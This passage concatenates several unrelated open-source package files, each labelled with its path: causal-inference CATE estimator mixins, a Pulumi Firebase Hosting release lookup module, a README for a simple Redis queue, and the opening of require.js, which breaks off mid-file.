Note that when Y or T is a vector rather than a 2-dimensional array,
the corresponding singleton dimensions in the output will be collapsed
(e.g. if both are vectors, then the output of this method will also be a vector)
"""
X, T = self._expand_treatments(X, T)
eff = self.const_marginal_effect(X)
return np.repeat(eff, shape(T)[0], axis=0) if X is None else eff
def marginal_effect_interval(self, T, X=None, *, alpha=0.05):
X, T = self._expand_treatments(X, T)
effs = self.const_marginal_effect_interval(X=X, alpha=alpha)
if X is None: # need to repeat by the number of rows of T to ensure the right shape
effs = tuple(np.repeat(eff, shape(T)[0], axis=0) for eff in effs)
return effs
marginal_effect_interval.__doc__ = BaseCateEstimator.marginal_effect_interval.__doc__
def marginal_effect_inference(self, T, X=None):
X, T = self._expand_treatments(X, T)
cme_inf = self.const_marginal_effect_inference(X=X)
if X is None:
cme_inf = cme_inf._expand_outputs(shape(T)[0])
return cme_inf
marginal_effect_inference.__doc__ = BaseCateEstimator.marginal_effect_inference.__doc__
@BaseCateEstimator._defer_to_inference
def const_marginal_effect_interval(self, X=None, *, alpha=0.05):
""" Confidence intervals for the quantities :math:`\\theta(X)` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper : tuple(type of :meth:`const_marginal_effect(X)<const_marginal_effect>` ,\
type of :meth:`const_marginal_effect(X)<const_marginal_effect>` )
The lower and the upper bounds of the confidence interval for each quantity.
"""
pass
@BaseCateEstimator._defer_to_inference
def const_marginal_effect_inference(self, X=None):
""" Inference results for the quantities :math:`\\theta(X)` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
Returns
-------
InferenceResults: object
The inference results instance contains prediction and prediction standard error and
can on demand calculate confidence interval, z statistic and p value. It can also output
a dataframe summary of these inference results.
"""
pass
def const_marginal_ate(self, X=None):
"""
Calculate the average constant marginal CATE :math:`E_X[\\theta(X)]`.
Parameters
----------
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample.
Returns
-------
theta: (d_y, d_t) matrix
Average constant marginal CATE of each treatment on each outcome.
Note that when Y or T is a vector rather than a 2-dimensional array,
the corresponding singleton dimensions in the output will be collapsed
(e.g. if both are vectors, then the output of this method will be a scalar)
"""
return np.mean(self.const_marginal_effect(X=X), axis=0)
@BaseCateEstimator._defer_to_inference
def const_marginal_ate_interval(self, X=None, *, alpha=0.05):
""" Confidence intervals for the quantities :math:`E_X[\\theta(X)]` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper : tuple(type of :meth:`const_marginal_ate(X)<const_marginal_ate>` ,\
type of :meth:`const_marginal_ate(X)<const_marginal_ate>` )
The lower and the upper bounds of the confidence interval for each quantity.
"""
pass
@BaseCateEstimator._defer_to_inference
def const_marginal_ate_inference(self, X=None):
""" Inference results for the quantities :math:`E_X[\\theta(X)]` produced
by the model. Available only when ``inference`` is not ``None``, when
calling the fit method.
Parameters
----------
X: optional (m, d_x) matrix or None (Default=None)
Features for each sample
Returns
-------
PopulationSummaryResults: object
The inference results instance contains prediction and prediction standard error and
can on demand calculate confidence interval, z statistic and p value. It can also output
a dataframe summary of these inference results.
"""
pass
def marginal_ate(self, T, X=None):
return self.const_marginal_ate(X=X)
marginal_ate.__doc__ = BaseCateEstimator.marginal_ate.__doc__
def marginal_ate_interval(self, T, X=None, *, alpha=0.05):
return self.const_marginal_ate_interval(X=X, alpha=alpha)
marginal_ate_interval.__doc__ = BaseCateEstimator.marginal_ate_interval.__doc__
def marginal_ate_inference(self, T, X=None):
return self.const_marginal_ate_inference(X=X)
marginal_ate_inference.__doc__ = BaseCateEstimator.marginal_ate_inference.__doc__
def shap_values(self, X, *, feature_names=None, treatment_names=None, output_names=None, background_samples=100):
""" Shap value for the final stage models (const_marginal_effect)
Parameters
----------
X: (m, d_x) matrix
Features for each sample. Should be in the same shape of fitted X in final stage.
feature_names: optional None or list of strings of length X.shape[1] (Default=None)
The names of input features.
treatment_names: optional None or list (Default=None)
The name of treatment. In discrete treatment scenario, the name should not include the name of
the baseline treatment (i.e. the control treatment, which by default is the alphabetically smaller)
output_names: optional None or list (Default=None)
The name of the outcome.
background_samples: int or None, (Default=100)
How many samples to use to compute the baseline effect. If None then all samples are used.
Returns
-------
shap_outs: nested dictionary of Explanation object
A nested dictionary by using each output name (e.g. 'Y0', 'Y1', ... when `output_names=None`) and
each treatment name (e.g. 'T0', 'T1', ... when `treatment_names=None`) as key
and the shap_values explanation object as value. If the input data at fit time also contain metadata,
(e.g. are pandas DataFrames), then the column metatdata for the treatments, outcomes and features
are used instead of the above defaults (unless the user overrides with explicitly passing the
corresponding names).
"""
return _shap_explain_cme(self.const_marginal_effect, X, self._d_t, self._d_y,
feature_names=feature_names, treatment_names=treatment_names,
output_names=output_names, input_names=self._input_names,
background_samples=background_samples)
class TreatmentExpansionMixin(BaseCateEstimator):
"""Mixin which automatically handles promotions of scalar treatments to the appropriate shape."""
transformer = None
def _prefit(self, Y, T, *args, **kwargs):
super()._prefit(Y, T, *args, **kwargs)
# need to store the *original* dimensions of T so that we can expand scalar inputs to match;
# subclasses should overwrite self._d_t with post-transformed dimensions of T for generating treatments
self._d_t_in = self._d_t
def _postfit(self, Y, T, *args, **kwargs):
super()._postfit(Y, T, *args, **kwargs)
if self.transformer:
self._set_transformed_treatment_names()
def _expand_treatments(self, X=None, *Ts):
X, *Ts = check_input_arrays(X, *Ts)
n_rows = 1 if X is None else shape(X)[0]
outTs = []
for T in Ts:
if (ndim(T) == 0) and self._d_t_in and self._d_t_in[0] > 1:
warn("A scalar was specified but there are multiple treatments; "
"the same value will be used for each treatment. Consider specifying"
"all treatments, or using the const_marginal_effect method.")
if ndim(T) == 0:
T = np.full((n_rows,) + self._d_t_in, T)
if self.transformer:
T = self.transformer.transform(reshape(T, (-1, 1)))
outTs.append(T)
return (X,) + tuple(outTs)
def _set_transformed_treatment_names(self):
"""Works with sklearn OHEs"""
if hasattr(self, "_input_names"):
self._input_names["treatment_names"] = self.transformer.get_feature_names(
self._input_names["treatment_names"]).tolist()
def cate_treatment_names(self, treatment_names=None):
"""
Get treatment names.
If the treatment is discrete, it will return expanded treatment names.
Parameters
----------
treatment_names: list of strings of length T.shape[1] or None
The names of the treatments. If None and the T passed to fit was a dataframe,
it defaults to the column names from the dataframe.
Returns
-------
out_treatment_names: list of strings
Returns (possibly expanded) treatment names.
"""
if treatment_names is not None:
if self.transformer:
return self.transformer.get_feature_names(treatment_names).tolist()
return treatment_names
# Treatment names is None, default to BaseCateEstimator
return super().cate_treatment_names()
# override effect to set defaults, which works with the new definition of _expand_treatments
def effect(self, X=None, *, T0=0, T1=1):
# NOTE: don't explicitly expand treatments here, because it's done in the super call
return super().effect(X, T0=T0, T1=T1)
effect.__doc__ = BaseCateEstimator.effect.__doc__
def ate(self, X=None, *, T0=0, T1=1):
return super().ate(X=X, T0=T0, T1=T1)
ate.__doc__ = BaseCateEstimator.ate.__doc__
def ate_interval(self, X=None, *, T0=0, T1=1, alpha=0.05):
return super().ate_interval(X=X, T0=T0, T1=T1, alpha=alpha)
ate_interval.__doc__ = BaseCateEstimator.ate_interval.__doc__
def ate_inference(self, X=None, *, T0=0, T1=1):
return super().ate_inference(X=X, T0=T0, T1=T1)
ate_inference.__doc__ = BaseCateEstimator.ate_inference.__doc__
class LinearModelFinalCateEstimatorMixin(BaseCateEstimator):
"""
Base class for models where the final stage is a linear model.
Such an estimator must implement a :attr:`model_final_` attribute that points
to the fitted final :class:`.StatsModelsLinearRegression` object that
represents the fitted CATE model. Also must implement :attr:`featurizer_` that points
to the fitted featurizer and :attr:`bias_part_of_coef` that designates
if the intercept is the first element of the :attr:`model_final_` coefficient.
Attributes
----------
bias_part_of_coef: bool
Whether the CATE model's intercept is contained in the final model's ``coef_`` rather
than as a separate ``intercept_``
"""
def _get_inference_options(self):
options = super()._get_inference_options()
options.update(auto=LinearModelFinalInference)
return options
@property
def bias_part_of_coef(self):
return False
@property
def coef_(self):
""" The coefficients in the linear model of the constant marginal treatment
effect.
Returns
-------
coef: (n_x,) or (n_t, n_x) or (n_y, n_t, n_x) array like
Where n_x is the number of features that enter the final model (either the
dimension of X or the dimension of featurizer.fit_transform(X) if the CATE
estimator has a featurizer.), n_t is the number of treatments, n_y is
the number of outcomes. Dimensions are omitted if the original input was
a vector and not a 2D array. For binary treatment the n_t dimension is
also omitted.
"""
return parse_final_model_params(self.model_final_.coef_, self.model_final_.intercept_,
self._d_y, self._d_t, self._d_t_in, self.bias_part_of_coef,
self.fit_cate_intercept_)[0]
@property
def intercept_(self):
""" The intercept in the linear model of the constant marginal treatment
effect.
Returns
-------
intercept: float or (n_y,) or (n_y, n_t) array like
Where n_t is the number of treatments, n_y is
the number of outcomes. Dimensions are omitted if the original input was
a vector and not a 2D array. For binary treatment the n_t dimension is
also omitted.
"""
if not self.fit_cate_intercept_:
raise AttributeError("No intercept was fitted!")
return parse_final_model_params(self.model_final_.coef_, self.model_final_.intercept_,
self._d_y, self._d_t, self._d_t_in, self.bias_part_of_coef,
self.fit_cate_intercept_)[1]
@BaseCateEstimator._defer_to_inference
def coef__interval(self, *, alpha=0.05):
""" The coefficients in the linear model of the constant marginal treatment
effect.
Parameters
----------
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lb, ub: tuple(type of :meth:`coef_()<coef_>`, type of :meth:`coef_()<coef_>`)
The lower and upper bounds of the confidence interval for each quantity.
"""
pass
@BaseCateEstimator._defer_to_inference
def coef__inference(self):
""" The inference of coefficients in the linear model of the constant marginal treatment
effect.
Returns
-------
InferenceResults: object
The inference of the coefficients in the final linear model
"""
pass
@BaseCateEstimator._defer_to_inference
def intercept__interval(self, *, alpha=0.05):
""" The intercept in the linear model of the constant marginal treatment
effect.
Parameters
----------
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper: tuple(type of :meth:`intercept_()<intercept_>`, type of :meth:`intercept_()<intercept_>`)
The lower and upper bounds of the confidence interval.
"""
pass
@BaseCateEstimator._defer_to_inference
def intercept__inference(self):
""" The inference of intercept in the linear model of the constant marginal treatment
effect.
Returns
-------
InferenceResults: object
The inference of the intercept in the final linear model
"""
pass
def summary(self, alpha=0.05, value=0, decimals=3, feature_names=None, treatment_names=None, output_names=None):
""" The summary of coefficient and intercept in the linear model of the constant marginal treatment
effect.
Parameters
----------
alpha: optional float in [0, 1] (default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
value: optinal float (default=0)
The mean value of the metric you'd like to test under null hypothesis.
decimals: optinal int (default=3)
Number of decimal places to round each column to.
feature_names: optional list of strings or None (default is None)
The input of the feature names
treatment_names: optional list of strings or None (default is None)
The names of the treatments
output_names: optional list of strings or None (default is None)
The names of the outputs
Returns
-------
smry : Summary instance
this holds the summary tables and text, which can be printed or
converted to various output formats.
"""
# Get input names
treatment_names = self.cate_treatment_names(treatment_names)
output_names = self.cate_output_names(output_names)
# Summary
smry = Summary()
smry.add_extra_txt(["<sub>A linear parametric conditional average treatment effect (CATE) model was fitted:",
"$Y = \\Theta(X)\\cdot T + g(X, W) + \\epsilon$",
"where for every outcome $i$ and treatment $j$ the CATE $\\Theta_{ij}(X)$ has the form:",
"$\\Theta_{ij}(X) = \\phi(X)' coef_{ij} + cate\\_intercept_{ij}$",
"where $\\phi(X)$ is the output of the `featurizer` or $X$ if `featurizer`=None. "
"Coefficient Results table portrays the $coef_{ij}$ parameter vector for "
"each outcome $i$ and treatment $j$. "
"Intercept Results table portrays the $cate\\_intercept_{ij}$ parameter.</sub>"])
d_t = self._d_t[0] if self._d_t else 1
d_y = self._d_y[0] if self._d_y else 1
try:
coef_table = self.coef__inference().summary_frame(alpha=alpha,
value=value, decimals=decimals,
feature_names=feature_names,
treatment_names=treatment_names,
output_names=output_names)
coef_array = coef_table.values
coef_headers = coef_table.columns.tolist()
n_level = coef_table.index.nlevels
if n_level > 1:
coef_stubs = ["|".join(ind_value) for ind_value in coef_table.index.values]
else:
coef_stubs = coef_table.index.tolist()
coef_title = 'Coefficient Results'
smry.add_table(coef_array, coef_headers, coef_stubs, coef_title)
except Exception as e:
print("Coefficient Results: ", str(e))
try:
intercept_table = self.intercept__inference().summary_frame(alpha=alpha,
value=value, decimals=decimals,
feature_names=None,
treatment_names=treatment_names,
output_names=output_names)
intercept_array = intercept_table.values
intercept_headers = intercept_table.columns.tolist()
n_level = intercept_table.index.nlevels
if n_level > 1:
intercept_stubs = ["|".join(ind_value) for ind_value in intercept_table.index.values]
else:
intercept_stubs = intercept_table.index.tolist()
intercept_title = 'CATE Intercept Results'
smry.add_table(intercept_array, intercept_headers, intercept_stubs, intercept_title)
except Exception as e:
print("CATE Intercept Results: ", str(e))
if len(smry.tables) > 0:
return smry
def shap_values(self, X, *, feature_names=None, treatment_names=None, output_names=None, background_samples=100):
if hasattr(self, "featurizer_") and self.featurizer_ is not None:
X = self.featurizer_.transform(X)
feature_names = self.cate_feature_names(feature_names)
return _shap_explain_joint_linear_model_cate(self.model_final_, X, self._d_t, self._d_y,
self.bias_part_of_coef,
feature_names=feature_names, treatment_names=treatment_names,
output_names=output_names,
input_names=self._input_names,
background_samples=background_samples)
shap_values.__doc__ = LinearCateEstimator.shap_values.__doc__
class StatsModelsCateEstimatorMixin(LinearModelFinalCateEstimatorMixin):
"""
Mixin class that offers `inference='statsmodels'` options to the CATE estimator
that inherits it.
Such an estimator must implement a :attr:`model_final_` attribute that points
to the fitted final :class:`.StatsModelsLinearRegression` object that
represents the fitted CATE model. Also must implement :attr:`featurizer_` that points
to the fitted featurizer and :attr:`bias_part_of_coef` that designates
if the intercept is the first element of the :attr:`model_final_` coefficient.
"""
def _get_inference_options(self):
# add statsmodels to parent's options
options = super()._get_inference_options()
options.update(statsmodels=StatsModelsInference)
options.update(auto=StatsModelsInference)
return options
class DebiasedLassoCateEstimatorMixin(LinearModelFinalCateEstimatorMixin):
"""Mixin for cate models where the final stage is a debiased lasso model."""
def _get_inference_options(self):
# add debiasedlasso to parent's options
options = super()._get_inference_options()
options.update(debiasedlasso=LinearModelFinalInference)
options.update(auto=LinearModelFinalInference)
return options
class ForestModelFinalCateEstimatorMixin(BaseCateEstimator):
def _get_inference_options(self):
# add blb to parent's options
options = super()._get_inference_options()
options.update(blb=GenericSingleTreatmentModelFinalInference)
options.update(auto=GenericSingleTreatmentModelFinalInference)
return options
@property
def feature_importances_(self):
return self.model_final_.feature_importances_
class LinearModelFinalCateEstimatorDiscreteMixin(BaseCateEstimator):
# TODO Share some logic with non-discrete version
"""
Base class for models where the final stage is a linear model.
Subclasses must expose a ``fitted_models_final`` attribute
returning an array of the fitted models for each non-control treatment
"""
def _get_inference_options(self):
options = super()._get_inference_options()
options.update(auto=LinearModelFinalInferenceDiscrete)
return options
def coef_(self, T):
""" The coefficients in the linear model of the constant marginal treatment
effect associated with treatment T.
Parameters
----------
T: alphanumeric
The input treatment for which we want the coefficients.
Returns
-------
coef: (n_x,) or (n_y, n_x) array like
Where n_x is the number of features that enter the final model (either the
dimension of X or the dimension of featurizer.fit_transform(X) if the CATE
estimator has a featurizer.)
"""
_, T = self._expand_treatments(None, T)
ind = inverse_onehot(T).item() - 1
assert ind >= 0, "No model was fitted for the control"
return self.fitted_models_final[ind].coef_
def intercept_(self, T):
""" The intercept in the linear model of the constant marginal treatment
effect associated with treatment T.
Parameters
----------
T: alphanumeric
The input treatment for which we want the coefficients.
Returns
-------
intercept: float or (n_y,) array like
"""
if not self.fit_cate_intercept_:
raise AttributeError("No intercept was fitted!")
_, T = self._expand_treatments(None, T)
ind = inverse_onehot(T).item() - 1
assert ind >= 0, "No model was fitted for the control"
return self.fitted_models_final[ind].intercept_.reshape(self._d_y)
@BaseCateEstimator._defer_to_inference
def coef__interval(self, T, *, alpha=0.05):
""" The confidence interval for the coefficients in the linear model of the
constant marginal treatment effect associated with treatment T.
Parameters
----------
T: alphanumeric
The input treatment for which we want the coefficients.
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper: tuple(type of :meth:`coef_(T)<coef_>`, type of :meth:`coef_(T)<coef_>`)
The lower and upper bounds of the confidence interval for each quantity.
"""
pass
@BaseCateEstimator._defer_to_inference
def coef__inference(self, T):
""" The inference for the coefficients in the linear model of the
constant marginal treatment effect associated with treatment T.
Parameters
----------
T: alphanumeric
The input treatment for which we want the coefficients.
Returns
-------
InferenceResults: object
The inference of the coefficients in the final linear model
"""
pass
@BaseCateEstimator._defer_to_inference
def intercept__interval(self, T, *, alpha=0.05):
""" The intercept in the linear model of the constant marginal treatment
effect associated with treatment T.
Parameters
----------
T: alphanumeric
The input treatment for which we want the coefficients.
alpha: optional float in [0, 1] (Default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
Returns
-------
lower, upper: tuple(type of :meth:`intercept_(T)<intercept_>`, type of :meth:`intercept_(T)<intercept_>`)
The lower and upper bounds of the confidence interval.
"""
pass
@BaseCateEstimator._defer_to_inference
def intercept__inference(self, T):
""" The inference of the intercept in the linear model of the constant marginal treatment
effect associated with treatment T.
Parameters
----------
T: alphanumeric
The input treatment for which we want the coefficients.
Returns
-------
InferenceResults: object
The inference of the intercept in the final linear model
"""
pass
def summary(self, T, *, alpha=0.05, value=0, decimals=3,
feature_names=None, treatment_names=None, output_names=None):
""" The summary of coefficient and intercept in the linear model of the constant marginal treatment
effect associated with treatment T.
Parameters
----------
alpha: optional float in [0, 1] (default=0.05)
The overall level of confidence of the reported interval.
The alpha/2, 1-alpha/2 confidence interval is reported.
value: optinal float (default=0)
The mean value of the metric you'd like to test under null hypothesis.
decimals: optinal int (default=3)
Number of decimal places to round each column to.
feature_names: optional list of strings or None (default is None)
The input of the feature names
treatment_names: optional list of strings or None (default is None)
The names of the treatments
output_names: optional list of strings or None (default is None)
The names of the outputs
Returns
-------
smry : Summary instance
this holds the summary tables and text, which can be printed or
converted to various output formats.
"""
# Get input names
treatment_names = self.cate_treatment_names(treatment_names)
output_names = self.cate_output_names(output_names)
# Note: we do not transform feature names since that is done within summary_frame
# Summary
smry = Summary()
smry.add_extra_txt(["<sub>A linear parametric conditional average treatment effect (CATE) model was fitted:",
"$Y = \\Theta(X)\\cdot T + g(X, W) + \\epsilon$",
"where $T$ is the one-hot-encoding of the discrete treatment and "
"for every outcome $i$ and treatment $j$ the CATE $\\Theta_{ij}(X)$ has the form:",
"$\\Theta_{ij}(X) = \\phi(X)' coef_{ij} + cate\\_intercept_{ij}$",
"where $\\phi(X)$ is the output of the `featurizer` or $X$ if `featurizer`=None. "
"Coefficient Results table portrays the $coef_{ij}$ parameter vector for "
"each outcome $i$ and the designated treatment $j$ passed to summary. "
"Intercept Results table portrays the $cate\\_intercept_{ij}$ parameter.</sub>"])
try:
coef_table = self.coef__inference(T).summary_frame(
alpha=alpha, value=value, decimals=decimals, feature_names=feature_names,
output_names=output_names)
coef_array = coef_table.values
coef_headers = coef_table.columns.tolist()
coef_stubs = coef_table.index.tolist()
coef_title = 'Coefficient Results'
smry.add_table(coef_array, coef_headers, coef_stubs, coef_title)
except Exception as e:
print("Coefficient Results: ", e)
try:
intercept_table = self.intercept__inference(T).summary_frame(
alpha=alpha, value=value, decimals=decimals, feature_names=None,
output_names=output_names)
intercept_array = intercept_table.values
intercept_headers = intercept_table.columns.tolist()
intercept_stubs = intercept_table.index.tolist()
intercept_title = 'CATE Intercept Results'
smry.add_table(intercept_array, intercept_headers, intercept_stubs, intercept_title)
except Exception as e:
print("CATE Intercept Results: ", e)
if len(smry.tables) > 0:
return smry
class StatsModelsCateEstimatorDiscreteMixin(LinearModelFinalCateEstimatorDiscreteMixin):
"""
Mixin class that offers `inference='statsmodels'` options to the CATE estimator
that inherits it.
Such an estimator must implement a :attr:`model_final_` attribute that points
to a :class:`.StatsModelsLinearRegression` object that is cloned to fit
each discrete treatment target CATE model and a :attr:`fitted_models_final` attribute
that returns the list of fitted final models that represent the CATE for each categorical treatment.
"""
def _get_inference_options(self):
# add statsmodels to parent's options
options = super()._get_inference_options()
options.update(statsmodels=StatsModelsInferenceDiscrete)
options.update(auto=StatsModelsInferenceDiscrete)
return options
class DebiasedLassoCateEstimatorDiscreteMixin(LinearModelFinalCateEstimatorDiscreteMixin):
"""Mixin for cate models where the final stage is a debiased lasso model."""
def _get_inference_options(self):
# add statsmodels to parent's options
options = super()._get_inference_options()
options.update(debiasedlasso=LinearModelFinalInferenceDiscrete)
options.update(auto=LinearModelFinalInferenceDiscrete)
return options
class ForestModelFinalCateEstimatorDiscreteMixin(BaseCateEstimator):
def _get_inference_options(self):
# add blb to parent's options
options = super()._get_inference_options()
options.update(blb=GenericModelFinalInferenceDiscrete)
options.update(auto=GenericModelFinalInferenceDiscrete)
return options
def feature_importances_(self, T):
_, T = self._expand_treatments(None, T)
ind = inverse_onehot(T).item() - 1
assert ind >= 0, "No model was fitted for the control"
return self.fitted_models_final[ind].feature_importances_
|
PypiClean
|
/pulumi_google_native-0.31.2a1689827148.tar.gz/pulumi_google_native-0.31.2a1689827148/pulumi_google_native/firebasehosting/v1beta1/get_release.py
|
import copy
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from . import outputs
__all__ = [
'GetReleaseResult',
'AwaitableGetReleaseResult',
'get_release',
'get_release_output',
]
@pulumi.output_type
class GetReleaseResult:
def __init__(__self__, message=None, name=None, release_time=None, release_user=None, type=None, version=None):
if message and not isinstance(message, str):
raise TypeError("Expected argument 'message' to be a str")
pulumi.set(__self__, "message", message)
if name and not isinstance(name, str):
raise TypeError("Expected argument 'name' to be a str")
pulumi.set(__self__, "name", name)
if release_time and not isinstance(release_time, str):
raise TypeError("Expected argument 'release_time' to be a str")
pulumi.set(__self__, "release_time", release_time)
if release_user and not isinstance(release_user, dict):
raise TypeError("Expected argument 'release_user' to be a dict")
pulumi.set(__self__, "release_user", release_user)
if type and not isinstance(type, str):
raise TypeError("Expected argument 'type' to be a str")
pulumi.set(__self__, "type", type)
if version and not isinstance(version, dict):
raise TypeError("Expected argument 'version' to be a dict")
pulumi.set(__self__, "version", version)
@property
@pulumi.getter
def message(self) -> str:
"""
The deploy description when the release was created. The value can be up to 512 characters.
"""
return pulumi.get(self, "message")
@property
@pulumi.getter
def name(self) -> str:
"""
The unique identifier for the release, in either of the following formats: - sites/SITE_ID/releases/RELEASE_ID - sites/SITE_ID/channels/CHANNEL_ID/releases/RELEASE_ID This name is provided in the response body when you call [`releases.create`](sites.releases/create) or [`channels.releases.create`](sites.channels.releases/create).
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="releaseTime")
def release_time(self) -> str:
"""
The time at which the version is set to be public.
"""
return pulumi.get(self, "release_time")
@property
@pulumi.getter(name="releaseUser")
def release_user(self) -> 'outputs.ActingUserResponse':
"""
Identifies the user who created the release.
"""
return pulumi.get(self, "release_user")
@property
@pulumi.getter
def type(self) -> str:
"""
Explains the reason for the release. Specify a value for this field only when creating a `SITE_DISABLE` type release.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def version(self) -> 'outputs.VersionResponse':
"""
The configuration and content that was released.
"""
return pulumi.get(self, "version")
class AwaitableGetReleaseResult(GetReleaseResult):
# pylint: disable=using-constant-test
def __await__(self):
if False:
yield self
return GetReleaseResult(
message=self.message,
name=self.name,
release_time=self.release_time,
release_user=self.release_user,
type=self.type,
version=self.version)
def get_release(channel_id: Optional[str] = None,
project: Optional[str] = None,
release_id: Optional[str] = None,
site_id: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetReleaseResult:
"""
Gets the specified release for a site or channel. When used to get a release for a site, this can get releases for both the default `live` channel and any active preview channels for the specified site.
"""
__args__ = dict()
__args__['channelId'] = channel_id
__args__['project'] = project
__args__['releaseId'] = release_id
__args__['siteId'] = site_id
opts = pulumi.InvokeOptions.merge(_utilities.get_invoke_opts_defaults(), opts)
__ret__ = pulumi.runtime.invoke('google-native:firebasehosting/v1beta1:getRelease', __args__, opts=opts, typ=GetReleaseResult).value
return AwaitableGetReleaseResult(
message=pulumi.get(__ret__, 'message'),
name=pulumi.get(__ret__, 'name'),
release_time=pulumi.get(__ret__, 'release_time'),
release_user=pulumi.get(__ret__, 'release_user'),
type=pulumi.get(__ret__, 'type'),
version=pulumi.get(__ret__, 'version'))
@_utilities.lift_output_func(get_release)
def get_release_output(channel_id: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[Optional[str]]] = None,
release_id: Optional[pulumi.Input[str]] = None,
site_id: Optional[pulumi.Input[str]] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetReleaseResult]:
"""
Gets the specified release for a site or channel. When used to get a release for a site, this can get releases for both the default `live` channel and any active preview channels for the specified site.
"""
...
|
PypiClean
|
/py_redis_simple_queue-0.0.4.tar.gz/py_redis_simple_queue-0.0.4/README.md
|
# Redis simple queue
Very simple implementation from article : http://peter-hoffmann.com/2012/python-simple-queue-redis-queue.html
## usage
```shell
pip install py_redis_simple_queue
```
### The sender
```python
from redis import Redis
from redis_simple_queue import RedisQueue
connection = Redis() # see docs at https://docs.objectrocket.com/redis_python_examples.html
queue = RedisQueue('my_queue', connection)
queue.put('my message')
```
### The worker
```python
from redis import Redis
from redis_simple_queue import Worker, RedisQueue
class MyWorker(Worker):
def run(self, msg):
print(msg)
# do something with message
connection = Redis()
queue = RedisQueue('my_queue', connection)
worker = MyWorker(queue)
worker.dequeue()
```
|
PypiClean
|
/m3_next-0.5.10-py3-none-any.whl/m3_next/static/js/require.js
|
var requirejs, require, define;
(function (global) {
var req, s, head, baseElement, dataMain, src,
interactiveScript, currentlyAddingScript, mainScript, subPath,
version = '2.1.11',
commentRegExp = /(\/\*([\s\S]*?)\*\/|([^:]|^)\/\/(.*)$)/mg,
cjsRequireRegExp = /[^.]\s*require\s*\(\s*["']([^'"\s]+)["']\s*\)/g,
jsSuffixRegExp = /\.js$/,
currDirRegExp = /^\.\//,
op = Object.prototype,
ostring = op.toString,
hasOwn = op.hasOwnProperty,
ap = Array.prototype,
apsp = ap.splice,
isBrowser = !!(typeof window !== 'undefined' && typeof navigator !== 'undefined' && window.document),
isWebWorker = !isBrowser && typeof importScripts !== 'undefined',
//PS3 indicates loaded and complete, but need to wait for complete
//specifically. Sequence is 'loading', 'loaded', execution,
// then 'complete'. The UA check is unfortunate, but not sure how
//to feature test w/o causing perf issues.
readyRegExp = isBrowser && navigator.platform === 'PLAYSTATION 3' ?
/^complete$/ : /^(complete|loaded)$/,
defContextName = '_',
//Oh the tragedy, detecting opera. See the usage of isOpera for reason.
isOpera = typeof opera !== 'undefined' && opera.toString() === '[object Opera]',
contexts = {},
cfg = {},
globalDefQueue = [],
useInteractive = false;
function isFunction(it) {
return ostring.call(it) === '[object Function]';
}
function isArray(it) {
return ostring.call(it) === '[object Array]';
}
/**
* Helper function for iterating over an array. If the func returns
* a true value, it will break out of the loop.
*/
function each(ary, func) {
if (ary) {
var i;
for (i = 0; i < ary.length; i += 1) {
if (ary[i] && func(ary[i], i, ary)) {
break;
}
}
}
}
/**
* Helper function for iterating over an array backwards. If the func
* returns a true value, it will break out of the loop.
*/
function eachReverse(ary, func) {
if (ary) {
var i;
for (i = ary.length - 1; i > -1; i -= 1) {
if (ary[i] && func(ary[i], i, ary)) {
break;
}
}
}
}
function hasProp(obj, prop) {
return hasOwn.call(obj, prop);
}
function getOwn(obj, prop) {
return hasProp(obj, prop) && obj[prop];
}
/**
* Cycles over properties in an object and calls a function for each
* property value. If the function returns a truthy value, then the
* iteration is stopped.
*/
function eachProp(obj, func) {
var prop;
for (prop in obj) {
if (hasProp(obj, prop)) {
if (func(obj[prop], prop)) {
break;
}
}
}
}
/**
* Simple function to mix in properties from source into target,
* but only if target does not already have a property of the same name.
*/
function mixin(target, source, force, deepStringMixin) {
if (source) {
eachProp(source, function (value, prop) {
if (force || !hasProp(target, prop)) {
if (deepStringMixin && typeof value === 'object' && value &&
!isArray(value) && !isFunction(value) &&
!(value instanceof RegExp)) {
if (!target[prop]) {
target[prop] = {};
}
mixin(target[prop], value, force, deepStringMixin);
} else {
target[prop] = value;
}
}
});
}
return target;
}
//Similar to Function.prototype.bind, but the 'this' object is specified
//first, since it is easier to read/figure out what 'this' will be.
function bind(obj, fn) {
return function () {
return fn.apply(obj, arguments);
};
}
function scripts() {
return document.getElementsByTagName('script');
}
function defaultOnError(err) {
throw err;
}
//Allow getting a global that is expressed in
//dot notation, like 'a.b.c'.
function getGlobal(value) {
if (!value) {
return value;
}
var g = global;
each(value.split('.'), function (part) {
g = g[part];
});
return g;
}
/**
* Constructs an error with a pointer to an URL with more information.
* @param {String} id the error ID that maps to an ID on a web page.
* @param {String} message human readable error.
* @param {Error} [err] the original error, if there is one.
*
* @returns {Error}
*/
function makeError(id, msg, err, requireModules) {
var e = new Error(msg + '\nhttp://requirejs.org/docs/errors.html#' + id);
e.requireType = id;
e.requireModules = requireModules;
if (err) {
e.originalError = err;
}
return e;
}
if (typeof define !== 'undefined') {
